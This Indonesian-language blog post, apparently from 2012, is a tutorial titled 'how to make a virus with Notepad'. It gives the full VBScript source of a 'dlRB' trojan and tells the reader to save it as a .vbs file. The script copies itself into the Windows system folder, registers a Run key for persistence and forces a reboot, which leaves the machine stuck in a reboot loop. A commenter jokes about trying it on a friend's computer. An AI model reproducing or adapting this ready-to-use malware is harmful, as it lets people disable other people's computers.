Search

Nov 23, 2012

cara membuat virus dengan notepad


cara membuat virus dengan notepad ?? mungkin salah satu sobat bertanya bertanya seperti itu. nah pada kesempatan kali ini saya ingin memberitahukan kepada sobat sobat sekalian tentang bagaimana cara membuat virus trojan dengan notepad. sobat sekalian pernah engga pcnya terserang virus tentunya saja sobat pasti kesel donk.. saya juga pernah mengalaminya sampai sampai pc saya harus di install ulang karena virus telah masuk ke dalam windows system 32 saya.. hehe curhat
langsung aja nii sobat apabila sobat ingin membuat virus dengan notepad adapun langkahlangkah sebagi berikut :


1. buka notepad

2. jika sudah lalu copy lah kode dibawah ini :



rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

3. jika sudah lalu save dengan format .vbs
sebagai contoh saya menyimpan file dengan nama  akuvirus.vbs

itulah bagaimana cara membuat virus dengan notepad
sumber : http://www.indofanster.org/t2739-cara-membuat-virus-trojanvbs-dengan-notepad


Related Post:

Comments

3 komentar:

wah bisa nih dicoba.. dicoba di komputer temen.. hehehee.. *devil. ^^v

terima kasih ilmunya sob.. ^^

:) :( ;) :D ;;-) :-/ :x :P :-* =(( :-O X( :7 B-) :-S #:-S 7:) :(( :)) :| /:) =)) O:-) :-B =; :-c :)] ~X( :-h :-t 8-7 I-) 8-| L-) :-a :-$ [-( :O) 8-} 2:-P (:| =P~ :-? #-o =D7 :-SS @-) :^o :-w 7:P 2):) X_X :!! \m/ :-q :-bd ^#(^ :ar!

Post a Comment